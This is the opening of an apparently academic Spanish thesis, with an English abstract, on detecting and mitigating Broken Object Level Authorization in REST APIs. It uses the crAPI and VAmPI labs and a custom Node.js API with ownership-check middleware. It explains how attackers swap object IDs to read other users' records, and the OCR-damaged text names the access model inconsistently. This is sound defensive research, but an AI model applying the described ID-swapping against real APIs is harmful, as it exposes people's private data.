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RESUMEN

El presente proyecto de aplicacion cuyo objetivo principal se centrd evaluar y mitigar la
vulnerabilidad Broken Object Level Authorization (BOLA), clasificada como la amenaza principal
en el estandar de seguridad Open Web Application Security Project (OWASP) API Security Top 10,
debido a su critica gravedad en arquitecturas que se basan en interfaces de programacion de

aplicaciones (APIs) REST.

El proyecto se desarrollé aplicando el enfoque experimental en un laboratorio virtual controlado,
gestionado mediante contenedores Docker. Para esto se prepard un entorno de pruebas con dos
plataformas vulnerables: OWASP crAPI y Virtual Academic Multi-Purpose Infrastructure (VAmMPI),
junto con la implementacion de un APl REST propia desarrollada en Node.js y el framework
Express.js, con el fin de aislar y medir variables de control de acceso. En la fase de evaluacién, se
ejecutaron auditorias de seguridad dinamicas y se desarrollaron scripts de prueba de concepto

(PoC) en Bash (utilizando curl y jq) y Burp Suite.

Las pruebas ofensivas demostraron que se puede extraer datos sensibles en los endpoints de
geolocalizacion de vehiculos de crAPl y en el endpoint de consulta de usuarios en VAMPI,
exponiendo informaciéon de cuentas ajenas de manera horizontal utilizando tokens JWT de
atacantes validos, pero no autorizados en el objeto consultado. Para la fase defensiva, se disefid
e implementé un middleware de mitigacion basado en el control de acceso estructurado en
relaciones (ReBAC), que realiza validaciones cruzadas entre el identificador de usuario (user_id)

extraido del token JWT y la propiedad real del recurso (owner_id) en la base de datos.

La reevaluacion post-mitigacion determind una efectividad del 100% en la neutralizacién de los
vectores de explotacion analizados en el laboratorio virtual, bloqueando las peticiones no
autorizadas con respuestas de estado HTTP 403 Forbidden y garantizando el principio de minimo

privilegio en los servicios expuestos.
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ABSTRACT

This applied research project primarily aimed to evaluate and mitigate the Broken Object Level
Authorization (BOLA) vulnerability, classified as the top security threat in the Open Web Application
Security Project (OWASP) API Security Top 10 standard, due to its critical severity in RESTful

Application Programming Interface (API) architectures.

The project was developed by applying an experimental validation approach within a controlled
virtual lab managed through Docker containers. A test environment was set up with two intentionally
vulnerable platforms: OWASP crAPI and Virtual Academic Multi-Purpose Infrastructure (VAmPI),
alongside a custom REST API developed using Node.js and Express.js to isolate and measure
access control variables. During the evaluation phase, dynamic security audits were executed, and

proof-of-concept (PoC) exploit scripts were developed in Bash (using curl and jq) and Burp Suite.

Offensive testing demonstrated that sensitive data could be extracted from vehicle geolocation
endpoints in crAPI (GET /identity/api/v2/vehicle/{uuid}/location) and user query endpoints in VAmMPI,
exposing third-party account information horizontally by using valid JWT tokens from attackers who
lacked authorization for the requested object. For the defensive phase, mitigation middleware was
designed and implemented based on Relationship-Based Access Control (ReBAC), performing
cross-validation between the user identifier (user_id) extracted from the JWT token and the actual

resource ownership (owner_id) in the database.

Post-mitigation re-evaluation achieved 100% effectiveness in neutralizing the exploit vectors
analyzed in the virtual laboratory, blocking unauthorized requests with HTTP 403 Forbidden status

responses and ensuring the principle of least privilege across all exposed services.

Keywords: REST APIs, BOLA, OWASP, crAPI, VAmPI, ReBAC, access control, cybersecurity
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CAPITULO 1
1. INTRODUCCION
En el escenario contemporaneo del desarrollo de software y la arquitectura de sistemas
distribuidos, las Interfaces de Programacién de Aplicaciones basadas en la Transferencia de
Estado Representacional (APIs REST) constituyen el estandar operativo para la integraciéon de
servicios y el intercambio transaccional de datos en la industria tecnolégica. La proliferacion de
arquitecturas de microservicios, aplicaciones moéviles y soluciones de computacién en la nube
depende criticamente de la disponibilidad y eficiencia de estas interfaces. Sin embargo, los ciclos
acelerados de despliegue y las exigencias del mercado han dejado en segundo plano la inclusion
de practicas de seguridad desde el diseno (Security by Design), convirtiendo a las APIs en uno de

los principales vectores de ataque.

Reportes sectoriales emitidos por empresas globales de ciberseguridad, como el informe “The
State of API Security - Q1 2023” publicado por Salt Security (2023), muestran de manera
cuantitativa esta tendencia de riesgo. De acuerdo con los datos de telemetria recolectados a través
de la plataforma SaaS de dicha empresa, se detecté un incremento aproximado del 400% en el
numero de atacantes unicos dirigidos a las APIs de su base global de clientes durante un lapso de
doce meses evaluado a principios de 2023. Aunque este indicador representa la actividad
detectada dentro del ecosistema de clientes monitoreados por la empresa y no es una métrica
universal absoluta del internet global, el dato evidencia una creciente alza en la sofisticacion de las

amenazas dirigidas a interfaces de programacion.

En este contexto, la vulnerabilidad de Autorizacién Deficiente a Nivel de Objeto, llamada
técnicamente Broken Object Level Authorization (BOLA) y anteriormente conocida como
Referencia Directa Insegura a Objetos (IDOR), se posiciona de manera constante en la primera
categoria del API Security Top 10 elaborado por el Open Web Application Security Project

(OWASP, 2023a). Esta vulnerabilidad no se debe a una falla en los protocolos de cifrado ni en la
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solidez de los algoritmos de autenticacion, sino en una deficiencia légica fundamental en el codigo
fuente de la aplicacién: la falta de mecanismos de control de acceso que validen si un usuario
autenticado posee los permisos necesarios para interactuar con el identificador del objeto

especifico solicitado.

El enfoque habitual de la seguridad informatica, que se basa en defensas perimetrales como los
Firewalls de Aplicacion Web (WAF), resulta insuficiente frente a la naturaleza tactica de la
explotacion de BOLA. Esto ocurre porque las solicitudes maliciosas que comprometen esta logica
hacen uso de canales legitimos, presentan estructuras sintacticas validas y son enviadas por
usuarios que han sido previamente autenticados. Por lo tanto, la solucion de este problema exige
intervenciones directas en la capa de aplicacion mediante la reingenieria y refactorizacion del

cédigo fuente.

El presente trabajo de titulacion se desarrolla bajo la modalidad de Proyecto de Aplicacion,
planteando una solucion técnica e implementable orientada a la ciberseguridad defensiva y al
desarrollo seguro de software. Descartando las aproximaciones puramente abstractas, este
proyecto se articula como un ciclo de ingenieria practico: en primer lugar, se diagnostican los
modos de fallo en entornos de prueba de referencia internacional. Especificamente, se utiliza el
entorno de laboratorio de software OWASP Completely Ridiculous API (OWASP, 2020), el cual se
diferencia metodolégicamente del estandar de riesgos OWASP API Security Top 10 (OWASP,
2023b); ademas, se emplea el entorno experimental VAmPI desarrollado por Tasiz (2020). En
segundo lugar, se construye un prototipo de software propio basado en Node.js. Finalmente, se
disefa e implementa un médulo de autorizacién solido en ese sistema. De este modo, se genera
un producto tecnoldgico funcional y un conjunto de directrices de desarrollo seguro potencialmente

transferibles a entornos socio-productivos de ingenieria de software.
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1.1. Definicién del proyecto
Este proyecto de aplicaciéon consiste en el disefio, desarrollo, implementacion y validacién técnica
de un componente de software orientado a la mitigacion estructural de la vulnerabilidad Broken
Object Level Authorization (BOLA) en arquitecturas de APIs REST. Se adopta un enfoque de

ingenieria practica estructurado en tres fases operativas interdependientes.

La primera fase comprende la emulacion tactica del fallo y la auditoria ofensiva. En esta etapa se
ejecutara la implementacion de dos plataformas de pruebas de cédigo abierto de referencia
internacional: OWASP crAPI (OWASP, 2020) y VAmPI (Tasiz, 2020). El analisis dinamico de los
dos laboratorios permitira un mapeo detallado de las firmas de ataque, los patrones de error en el

codigo y los impactos relacionados a la exposicién de objetos.

En la segunda fase, se realizara el desarrollo del software, donde se contempla la
conceptualizacion, disefio y codificacion de una APl REST de desarrollo propio utilizando el
entorno de ejecucidén en el lado del servidor Node.js, en este API se replicaran e inyectaran
intencionalmente las deficiencias de validaciéon de acceso identificadas anteriormente. Asi, el
sistema funcionara como un modelo de control de caja blanca, garantizando visibilidad total sobre

las rutas, la persistencia de datos y el flujo l6gico de las peticiones.

Finalmente, la tercera fase representa el eje central de la ingenieria defensiva del proyecto. Se
disefiara e implementara un middleware de autorizacién centralizado dentro de la arquitectura de
la API propia en Node.js, basado en el enfoque Zero Trust (Confianza Cero) (NIST,2020b) y en el
modelo de Control de Acceso Basado en Atributos (ABAC). Este componente tecnolégico validara
en tiempo de ejecucion la relacion de propiedad entre el claim id del JWT del sujeto — extraido del
token de sesion tras la verificacion criptografica — y el identificador del objeto solicitado (usuarios:
id) en base de datos, expuesto en la ruta como (parametro: id), de modo que solo se autoriza el

acceso cuando ambos coinciden. El proyecto concluira con la validacién empirica del software
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mediante pruebas de penetracion dirigidas (pentesting de regresion) para demostrar la eliminacién

de la vulnerabilidad.

1.2. Justificaciéon e importancia del trabajo de investigacion
La relevancia de este proyecto de aplicacién se basa en la necesidad urgente de la industria del
software de contar con soluciones defensivas y patrones de disefio seguro que se puedan

implementar a nivel de cddigo para proteger los activos de informacion.

Desde una perspectiva tecnoldgica, las APIs REST gestionan masivamente informacién sensible,
incluyendo datos financieros e informacion de identificacion personal (Pll). El control de acceso en
aplicaciones web ha confiado histéricamente en la autenticacién perimetral mediante tokens como
JWT; sin embargo, validar la identidad no garantiza que el usuario posea derechos sobre el recurso
especifico solicitado (Phanireddy, 2023). Este vacio de légica en el backend es la causa raiz de
BOLA, clasificada de forma continua como la principal amenaza en arquitecturas basadas en
servicios (Kaur et al., 2024; OWASP, 2023a). Al ser un proyecto de aplicacién, esta investigacion
se justifica al desplazar el enfoque de la simple deteccion tedrica hacia la construccién de una
solucion de software que neutraliza el vector de ataque directamente en la l6gica del servidor de

aplicaciones.

En el ambito econdmico y legal, las brechas de seguridad por BOLA facilitan exfiltraciones masivas
de datos mediante la automatizacién de scripts de enumeracién, que bajo marcos regulatorios
vigentes en el pais como lo es la Ley Organica de Proteccion de Datos Personales (2021), las
empresas que sufren esta exposicion de datos por la falta de control en el disefio de software

enfrentan multas muy altas, asi como la pérdida de su reputacion.

La importancia de este proyecto radica en su valor transferible y practico. Al documentar
detalladamente la arquitectura, la inyeccién del fallo, la refactorizacion de codigo en Node.js y las
métricas de mitigacién, se entrega un artefacto tecnoldgico reproducible y una guia metodoldgica

que los equipos de ingenieria de software pueden integrar de forma inmediata en sus ciclos de
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vida de desarrollo seguro (Secure Software Development Life Cycle [S-SDLC]), disminuyendo los

costos de remediacion post-despliegue.

1.3. Alcance

Para garantizar la viabilidad del proyecto de aplicacién, se delimitan sus alcances técnicos y

operativos de la siguiente manera:

Delimitaciéon tecnologica y de desarrollo: El desarrollo del software propio se
restringi6 de manera exclusiva al entorno de ejecucién Node.js. En la
implementacién realizada se empledé Express.js v5 como framework de
enrutamiento, en conjunto con SQLite como motor de persistencia embebido, dado
que estos componentes se alineaban con los requerimientos funcionales del
laboratorio descrito en el presente trabajo. Las interacciones de datos se procesaron
mediante estructuras nativas en formato JSON (JavaScript Object Notation) bajo el
estilo arquitectonico REST. Quedaron fuera del alcance las arquitecturas basadas
en GraphQL, gRPC o SOAP.

Delimitacion de seguridad: El componente defensivo se diseiid especificamente
para mitigar la vulnerabilidad Broken Object Level Authorization (BOLA / IDOR),
clasificada como API1:2023 por OWASP (2023a). El trabajo excluye la evaluacion
y mitigacién formal de otras vulnerabilidades, como inyecciones SQL o denegacién
de servicio, a menos que actuen como habilitador directo de la explotacién de
BOLA. Esto no significa ignorar las buenas practicas basicas de desarrollo seguro,
que la API propia utiliza consultas parametrizadas y hash de contrasefias con
berypt, a fin de no introducir riesgos adicionales ajenos al objeto de andlisis.
Entorno de despliegue experimental: El proyecto se ejecutara dentro de una
infraestructura local aislada de laboratorio. Los entornos de referencia (OWASP

crAPl y VAmPI) se configuraran siguiendo sus respectivas guias de instalacion. La
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API propia en Node.js se ejecuta directamente sobre un entorno de ejecucion local
sin necesidad de contenedores, debido a que el objeto de estudio es la légica de
autorizacion en el cédigo fuente y no la infraestructura de despliegue. La
persistencia de datos se gestiona mediante un archivo SQLite local, eliminando
dependencias externas y garantizando un entorno reproducible y autocontenido en
cualquier maquina de desarrollo sin afectar redes externas.

Criterios de éxito y validacion del software: La efectividad del proyecto se
determind mediante una metodologia de validacion binaria (explotable / no
explotable) aplicada a una matriz de casos sobre la API propia. Se emplearon dos
usuarios con rol user “victima (id=1) y atacante (id=2)" y el JWT del atacante contra
recursos ajenos en los endpoints GET, PUT y DELETE, cada caso se ejecutdé una
vez por fase (BOLA_ MITIGADO=false y BOLA MITIGADO=true), con evidencia
minima consistente en el codigo HTTP y el cuerpo de respuesta capturados en
Postman. El criterio de aceptacion exige en Fase 2, explotacién exitosa (HTTP 200
en acceso cruzado); en Fase 3, tasa de explotacion reducida a cero (HTTP 403 en
acceso cruzado) y conformidad funcional preservada (HTTP 200 en acceso al
propio recurso). Las pruebas de estrés de alta concurrencia o rendimiento en nube

publica quedaron fuera del alcance.

1.4. Objetivos

1.4.1. Objetivo general

Evaluar y mitigar la vulnerabilidad Broken Object Level Authorization (BOLA) en
APIs REST mediante el uso de VAmMPI, OWASP crAPI y una API propia, con el fin
de fortalecer la ciberseguridad defensiva y establecer directrices para un desarrollo

seguro en la capa de aplicacion.
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1.4.2. Objetivos especificos

Evaluar la vulnerabilidad BOLA mediante la ejecucién de auditorias de seguridad y
pruebas de penetracion en los entornos controlados VAmMPI y OWASP crAPI,
identificando los vectores de explotacion y las causas raiz en arquitecturas REST.
Disefiar un modelo de mitigacion para la vulnerabilidad BOLA, basado en principios
de Zero Trust y Control de Acceso Basado en Atributos (ABAC), capaz de integrarse
directamente en el ciclo de desarrollo de APls.

Desarrollar una APl REST propia en Node.js que incorpore de forma deliberada
fallos de validacién a nivel de objeto, sirviendo como espécimen de control y entorno
de prueba para la solucion defensiva.

Implementar el modelo de mitigacion propuesto en la API desarrollada y validar su
eficacia mediante pruebas de penetracion de regresion, demostrando la eliminacion

de la vulnerabilidad sin comprometer la integridad operativa del sistema.
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CAPITULO 2
2. REVISION DE LITERATURA
2.1. Estado del Arte
La investigacion cientifica aplicada a la ciberseguridad y la ingenieria de software ha priorizado el
estudio de las vulnerabilidades légicas de control de acceso debido al rol critico que desempefian
las Interfaces de Programacion de Aplicaciones (APIs) en los ecosistemas tecnoldgicos

contemporaneos (Open Web Application Security Project [OWASP], 2023b).

Las fallas de autorizacién légica en APls web representan uno de los vectores de ataque mas
complejos de mitigar en la actualidad, las aproximaciones convencionales de la industria para el
aseguramiento del software han dependido histéricamente de herramientas automatizadas de
analisis estatico de cédigo (Static Application Security Testing [SAST]). La literatura técnica y los
consorcios globales de seguridad concuerdan en que SAST presenta limitaciones estructurales
criticas al intentar identificar vulnerabilidades de tipo Broken Object Level Authorization (BOLA)
(OWASP, 2023a), debido a que los analizadores estaticos operan sobre el flujo sintactico y de
control del cddigo fuente, lo que les impide entender las reglas l6gicas del negocio o comprender

el contexto transaccional relacional entre un sujeto autenticado y el objeto que este solicita.

La identificacién sistematica de vulnerabilidades de tipo BOLA requiere de un enfoque dinamico
(Dynamic Application Security Testing [DAST]) o la realizacién de pruebas de penetracion
manuales, las cuales permiten emular de forma controlada el comportamiento de multiples perfiles
de usuario con privilegios equivalentes para validar si la API restringe el acceso cruzado a

recursos.

Por otra parte, la arquitectura de seguridad del software define el alcance y el lugar idéneo donde
deben aplicarse los controles logicos, para entornos de produccion existe el debate sobre si la
mitigacion de fallos de autorizacién debe realizarse en el perimetro de la red o en la capa légica

del aplicativo. Segun OWASP (2023a), confiar unicamente en las pasarelas de enlace (AP/
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Gateways) o a cortafuegos de aplicaciones web (WAF) para la seguridad l6gica constituye un fallo
de disefo, sin embargo, un APl Gateway es sumamente eficaz para resolver la autenticacién del
usuario mediante la validacion de firmas criptograficas de tokens (como JWT), pero carece del
contexto de persistencia para verificar si el usuario autenticado posee la propiedad directa del

recurso almacenado en la base de datos.

Es por esto por lo que para neutralizar fallas de tipo BOLA, el control l6gico de la autorizacion a
nivel de objeto debe procesarse e implementarse de manera mandataria dentro del servidor de
aplicaciones, interceptando la peticion antes de que esta sea enviada a la capa de persistencia de

datos.

Finalmente, el modelamiento de los sistemas de autorizacion tradicionalmente ha dependido del
modelo de Control de Acceso Basado en Roles (Role-Based Access Control [RBAC]), el andlisis
conceptual de este enfoque demuestra su ineficacia ante vectores de ataque logicos de
movimiento horizontal. En una API estructurada bajo RBAC, multiples usuarios con un rol
equivalente (por ejemplo, clientes) comparten la legitimidad de invocar los mismos endpoints del
servidor de aplicaciones. Sin embargo, en ninguna circunstancia deben estar autorizados para

consultar o manipular los datos correspondientes a otros usuarios con el mismo rol.

Para superar esta limitacion del modelo RBAC y dotar a la API de una granularidad de control muy
exacta, la ingenieria de software seguro propone el modelo de Control de Acceso Basado en
Atributos (Attribute-Based Access Control [ABAC]). Este modelo evalua de manera dinamica en
tiempo de ejecucion las propiedades tanto del usuario como del objeto de datos, proporcionando
el marco matematico y légico idéneo para el componente defensivo del modelo de software

desarrollado en este proyecto.
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2.2. Marco Teérico

2.2.1. Arquitectura de APIs REST y Ecosistema Node.js
Las APIs REST constituyen un estilo arquitectonico estructurado sobre restricciones légicas que
optimizan la escalabilidad y la separacion de componentes (Fielding, 2000). Bajo la especificacion
oficial de la Internet Engineering Task Force (IETF, 2022) en su RFC 9110, una APl REST
interactua mediante el protocolo HTTP empleando identificadores uniformes de recursos (URIs)
para ubicar componentes de forma univoca. Las operaciones légicas se ejecutan acoplando los
métodos HTTP (GET, POST, PUT, PATCH, DELETE) con el estado del recurso en el servidor. La
arquitectura REST establece el principio de no estado (statelessness), demandando que cada

peticion incluya toda la informacién de contexto necesaria de manera independiente.

Para la construccion de la API propia se utiliza Node.js, un entorno de ejecucién en el lado del
servidor basado en el motor JavaScript V8 de Google, su arquitectura de entrada y salida (E/S)
asincrona y monohilo orientada a eventos permite gestionar alta concurrencia sin bloqueo de hilos
de ejecucion. La implementacion de controles I6gicos de seguridad en Node.js se beneficia del
patrén de middleware, funciones intermedias que interceptan la solicitud (req) y la respuesta (res)
antes de llegar al controlador final. Este método permite la inyeccién de validaciones criptograficas

y l6gicas de manera independiente, ordenada y centralizada.

2.2.2. Autenticacion frente a Autorizaciéon en Capa de Aplicacion

Es esencial diferenciar los dos procesos para el adecuado disefio conceptual del sistema:

¢ Autenticacion (AuthN): Proceso técnico de validacion de la identidad declarada
por un sujeto (National Institute of Standards and Technology [NIST], 2020a),
resultando comunmente en la emision de una credencial temporal firmada.

e Autorizacion (AuthZ): Proceso logico consecutivo que determina si un sujeto
previamente autenticado posee el derecho explicito de ejecutar una accidén sobre

un recurso especifico (NIST, 2020a).
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La vulnerabilidad BOLA aparece cuando la aplicaciéon mezcla ambos conceptos, asumiendo de
manera equivocada que una AuthN valida, otorga automaticamente los permisos de acceso a

cualquier objeto del sistema.

2.2.3. Mecanismos de Identidad Basados en Tokens (JWT)
En los APIs REST sin estado (stateless), un mecanismo comun para transportar la identidad del
sujeto sin mantener sesién en el servidor es el JSON Web Token (JWT), normado por Jones et al.
(2015) en el RFC 7519. El token actua como trasportador de afirmaciones de autenticacion, no
como almacén de estado de sesion. Un JWT es una estructura compacta y autocontenida que
consta de tres componentes codificados en Base64URL: |la cabecera (Header), el cuerpo de

afirmaciones (Payload) y la firma criptografica (Signature).

El Payload contiene los afirmaciones o declaraciones de identidad (como el identificador unico del
usuario sub), aunque si bien la firma criptografica garantiza la integridad y autenticidad del emisor
frente a modificaciones de terceros, no realiza por si misma validaciones sobre los permisos
especificos de acceso a los datos almacenados. La responsabilidad de validar si el identificador
extraido del token posee una relacion legitima de propiedad sobre el objeto solicitado es

unicamente responsabilidad de la capa l6gica del backend.

2.2.4. Taxonomia de la Vulnerabilidad BOLA
Clasificada como el riesgo API1:2023 por el Open Web Application Security Project (OWASP,
2023a), la vulnerabilidad Broken Object Level Authorization (BOLA) esta directamente asociada en
la taxonomia de la seguridad de la informacién con la debilidad CWE-639: Evasién de Autorizacién
mediante Llaves Controladas por el Usuario (Authorization Bypass Through User-Controlled Key)
desarrollada por la corporacion MITRE (MITRE, 2024). Esta relacion técnica se basa en que CWE-
639 describe el mecanismo de falla donde un sistema informatico utiliza un identificador
proporcionado por el cliente para acceder a un registro en una base de datos sin validar si el

usuario posee los privilegios requeridos sobre esa llave. Histéricamente entendida como
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Referencia Directa Insegura a Objetos (IDOR), la vulnerabilidad BOLA se define formalmente como
la deficiencia légica de una matriz de control de acceso que omite verificar la relacion de propiedad
o pertinencia relacional entre el sujeto autenticado y el objeto solicitado en una operacién CRUD
(Create, Read, Update, Delete). La explotacién se produce cuando un atacante modifica los
identificadores en la ruta HTTP o el cuerpo en formato JSON (por ejemplo, cambiar la ruta de
/api/cuentas/1001 a /api/cuentas/1002), aprovechando que el servidor valida con éxito la firma del
token (AuthN) pero omite verificar la pertinencia relacional del objeto solicitado (AuthZ),

exponiendo asi registros privados de otros usuarios.

2.2.5. Entornos Experimentales de Referencia

2.2.51. Arquitectura de VAmPI (Vulnerable API)
VAmMPI es una APl de cédigo abierto disefiada para la evaluacion técnica de fallos logicos,
desarrollada en Python sobre el micro-framework Flask (Tasiz, 2020). Su arquitectura es
simplificada y emplea un Mapeador Objeto-Relacional (Object-Relational Mapping [ORM]) para la
abstraccion de la persistencia. La importancia de VAmMPI en este proyecto se debe a su capacidad
de aislar la vulnerabilidad en endpoints CRUD, como por ejemplo /users/v1/{username}. El sistema
realiza la validacion de la presencia de un foken, pero no comprueba si el parametro de ruta
{username} corresponde criptograficamente con el usuario autenticado, lo que permite modelar

escenarios de enumeracion directa de recursos de manera aislada.

2.2.5.2. Arquitectura de Microservicios de OWASP crAPI
El entorno experimental OWASP crAPI (completely ridiculous API), evaluado en este trabajo segun
su versién de lanzamiento estable v1.1.2 (OWASP, 2020), simula la complejidad y la superficie de
ataque en un sistema de produccion industrial actual. La plataforma se fundamenta en una
arquitectura distribuida y poliglota basada en microservicios independientes, cuya composicion

tecnoldgica y despliegue se detallan formalmente en las guias de disefio de su repositorio oficial
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de codigo abierto (OWASP, 2020). El ecosistema se compone de los siguientes servicios

independientes orquestados a través contenedores de Docker:

o El servicio de gestion de usuarios (/dentity Service) desarrollado en Java (Spring Boot).

o Elservicio de transacciones y compras (Community/Merchant Service) desarrollado en Go.

e ElI moédulo de procesamiento de pagos e informacién externa (Workshop Service)

desarrollado en Python (Flask).

o El backend de geolocalizacion de vehiculos (Mail/Notification Service) estructurado sobre

Node.js.

Estos servicios canalizan todo su trafico e interactuan entre si a través de una pasarela central de

Capa 7 o API Gateway que actla como proxy inverso.

Esta plataforma es clave para el analisis, ya que permite demostrar cdmo BOLA se adapta a
arquitecturas modernas, ocultdndose detras de identificadores indirectos vinculados (como un
car_id o location_id en lugar del ID de usuario principal). Los microservicios de crAPI asumen de
forma implicita que, si la peticion superd la validacion periférica del Gateway, la operacion es
legitima. Con el andlisis de este entorno descentralizado se puede disefar estrategias de defensa
redundantes en el cddigo de la aplicacién, que son utiles para la posterior ingenieria del

componente defensivo en la API propia.

2.2.6. Modelos de Control de Acceso: RBAC frente a ABAC
La estrategia defensiva e implementacion técnica de este proyecto se fundamenta en la adopcion
conceptual del modelo de Control de Acceso Basado en Atributos (ABAC) definido por el National
Institute of Standards and Technology (NIST, 2014), superando las limitaciones inherentes del
modelo basado en roles (RBAC). Mientras que RBAC discrimina los accesos basandose en roles

estaticos asignados administrativamente a los usuarios, ABAC permite la evaluacién dinamica en
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tiempo de ejecucion de un conjunto de propiedades o atributos vinculados a las entidades del

sistema.

Para formalizar matematicamente el modelo de autorizacion del componente defensivo, se definen

los siguientes elementos:

e Sea S el conjunto de sujetos autenticados en la plataforma, donde cada sujeto s € S posee
un atributo de identidad unico atrib(s,"id") representado por un valor de tipo entero o
alfanumérico, y wun atributo de rol atrib(s,"rol") definido dentro del dominio

{"usuario","administrador"}.

e Sea 0 el conjunto de recursos u objetos persistidos en el backend, donde cada objeto o €
O posee un metadato relacional de propiedad univoco denominado

atrib(o,"propietario_id").

e Sea A el conjunto de acciones légicas que el sujeto puede solicitar sobre el objeto, donde

a € A = {CREATE,READ,UPDATE,DELETE}.

Todos los identificadores son previamente normalizados y saneados para evitar colisiones de tipos
antes de su comparacién. La regla légica formal de autorizacién dinamica, representada por la
funcion de decisidon f:S x 0 x A — {Autorizar,Denegar}, se modela matematicamente a

continuacion:

> Autorizar si atrib(s,"rol") = "administrador"”
f(s,0,a) =><{> Autorizar si atrib(s,"id") = atrib(o,"propietario_id")
> Denegar en cualquier otro caso >

Esta validacion condicional modela de manera precisa tanto la restriccion de propiedad del recurso
(para usuarios convencionales) como la excepcidon operacional legitima para perfiles con
privilegios administrativos globales. Al ser implementada como una funcién middleware asincrona

dentro del servidor Express.js en Node.js, esta regla intercepta cada peticion HTTP entrante y
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garantiza que la evaluacion relacional de atributos sea un paso de control obligatorio previo a la
ejecucion de consultas en el motor de persistencia, neutralizando de raiz la explotacién de la

vulnerabilidad BOLA mediante la manipulacién de identificadores de recursos.

2.2.7. Stack Tecnoldgico de la API Propia
El disefio del espécimen de software requirio la seleccion deliberada de un conjunto de librerias y
herramientas cuya combinacion satisface tanto los requisitos funcionales de una APl REST de
gestion de usuarios como los requisitos experimentales del estudio de seguridad. A continuacion,

se detalla cada componente vy la justificacion técnica de su adopcion.

Express.js v5 (framework de enrutamiento): Express.js v5 es un framework web liviano para
Node.js. Su modelo de middlewares encaja bien aqui: son funciones que cortan el ciclo
request/response antes de llegar al controlador. Asi se puede meter el componente de autorizacién
ABAC como una capa aparte, intercambiable, sin reescribir la I6gica de negocio. Se eligié la version
5 sobre todo por el manejo nativo de errores asincronos; con eso se evita poner try/catch en cada

controlador.

SQLite3 (motor de persistencia embebido): SQLite3 es un motor relacional embebido. Guarda
todo en un archivo local (database.sqlite) y no necesita servidor, demonio ni configuracioén extra.
Se uso6 por dos motivos. Primero, el estudio mira la autorizacién en la capa de aplicacion, no la
arquitectura de persistencia; una BD embebido saca de encima variables de infraestructura que
podrian ensuciar la medicion. Segundo, SQLite se usa mucho en pruebas e investigacion, asi que

el experimento se puede repetir en casi cualquier entorno local (Hipp, 2000).

jsonwebtoken (implementacion JWT — RFC 7519): es la libreria de referencia de JWT (RFC
7519; Jones et al.,, 2015) en Node.js. Genera tokens firmados con HS256 (HMAC-SHA256) y
verifica la integridad criptografica. En este proyecto es la herramienta habitual de JWT: el token
lleva la identidad del sujeto (claim id), y el middleware ABAC la saca para compararla con el

identificador del objeto pedido y decidir la autorizacion.
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beryptjs (hash de contrasefas): bcryptjs es una implementacién en JavaScript puro del algoritmo
becrypt. Se usa para guardar contrasefias segun NIST SP 800-63B (NIST, 2020a), que pide no
almacenarlas en texto plano ni con hashes rapidos tipo MD5 o SHA-1. Aqui el cost factor es 10
rondas (~100 ms por hash). Ese retraso hace poco practica una enumeracion masiva de claves.
Eso sigue NIST SP 800-63B (NIST, 2020a) para el almacenamiento de credenciales: nada de texto
plano ni hashes rapidos (MD5, SHA-1). Se configurd con factor de coste 10 (~100 ms por hash),

de modo que un ataque de enumeracion masiva resulte poco viable.

dotenv (gestion de variables de entorno): dotenv es la libreria estandar de facto en el
ecosistema Node.js para cargar variables de entorno desde un archivo.env hacia process.env en
tiempo de ejecucion. Su uso en este proyecto tiene un rol metodolégico central: permite controlar
el parametro BOLA_MITIGADO que conmuta el sistema entre el modo vulnerable (Fase 2) y el
modo mitigado (Fase 3) sin alterar el codigo fuente. Esta separacion entre configuracion y cédigo
sigue el principio Ill de la metodologia Twelve-Factor App (Wiggins, 2011) y garantiza que ambos
escenarios explotable y no explotable sean reproducibles de forma determinista, condicion

necesaria para la validacion binaria definida en los criterios de éxito del proyecto.

nodemon (utilidad de desarrollo): nodemon vigila el sistema de archivos y reinicia Node.js
cuando hay cambios. Solo se usa en desarrollo (devDependency) y no cambia el comportamiento
de seguridad de la API. Se incluye en la documentacién para dejar completo el stack de

package.json.
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CAPITULO 3
3. DESARROLLO
El desarrollo de este proyecto de aplicacion se articula mediante la ejecucion sistematica de tres
fases interrelacionadas: la emulacién tactica y explotacion de la vulnerabilidad Broken Object Level
Authorization (BOLA) en entornos de referencia internacionales (VAmPI y OWASP crAPI), el
disefio y la codificacion de una API propia construida en Node.js y la posterior creacion de un
componente de ingenieria defensiva basado en el modelo de Control de Acceso Basado en

Atributos (ABAC) para eliminar estructuralmente el fallo l6gico horizontal.

3.1. Desarrollo Practico VAmPI (Virtual Academic Multi-Purpose Infrastructure)
La implementacién de la presente investigacidon se centra en la simulacién controlada, evaluacion
y posterior mitigacion de fallos de control de acceso en servicios web estructurados sobre
arquitecturas REST. Como escenario de trabajo, se seleccioné el entorno académico Virtual
Academic Multi-Purpose Infrastructure (VAmMPI), un ambiente deliberadamente vulnerable
disefiado para la evaluacion de amenazas de seguridad descritos en el OWASP API Security Top

10.

3.1.1. Configuracion del Laboratorio y Entorno de Virtualizacion
Con la finalidad de asegurar el aislamiento de los servicios, la repetibilidad de las pruebas y una
gestion eficiente de los recursos del sistema anfitrion se llevd a cabo por una arquitectura basada
en contenedores utilizando la plataforma Docker. El despliegue e inicializacion de la infraestructura
base se ejecutd mediante una secuencia estructurada de comandos en el sistema operativo

anfitrion.

En primera fase, se procedié con el arranque y configuraciéon del servicio de Docker (Docker
daemon) dentro de los servicios del sistema, asegurando su persistencia operativa ante reinicios

del host mediante los comandos systemctl:

sudo systemctl start docker
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sudo systemctl enable docker

Posteriormente, con el propdsito de facilitar la ejecucion sin necesidad de privilegios de
superusuario (root) y optimizar la automatizacion del laboratorio, se gestionaron los permisos a
nivel de sistema operativo, incorporando la variable de usuario actual ($USER) al grupo de
seguridad secundario de Docker. Cabe aclarar que este procedimiento facilita el objetivo sin sudo,
pero debe gestionarse como un permiso sensible, ya que agregar un usuario al grupo docker no
elimina completamente los riesgos de privilegios; en muchos sistemas, pertenecer a este grupo
equivale a capacidades cercanas a root. En consecuencia, definirlo como una medida de seguridad

seria técnicamente impreciso.

sudo usermod -aG docker $USER
newgrp docker

Con el fin de verificar la correcta el estado de la plataforma y corroborar la coherencia de la version

instalada frente a los requerimientos del contenedor, se ejecutd una consulta de versién:

docker -version

Figura 1

Resultado de terminal que refleja la configuracion del entorno Docker
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3.1.2. Descarga y Despliegue de la Infraestructura Vulnerable (VAmPI)
Una vez comprobado el correcto funcionamiento del entorno de ejecucion, se llevé a cabo la
obtencion de la imagen de VAmPI desde los repositorios oficiales de publicaciéon. El proceso de

adquisicion para la descarga y puesta en marcha del servicio se estructuré en tres etapas:

¢ Obtencion de la Imagen: Se llevd a cabo la descarga de la imagen desde Docker
Hub, con la version latest. Para que el proceso pueda replicarse, se documento el
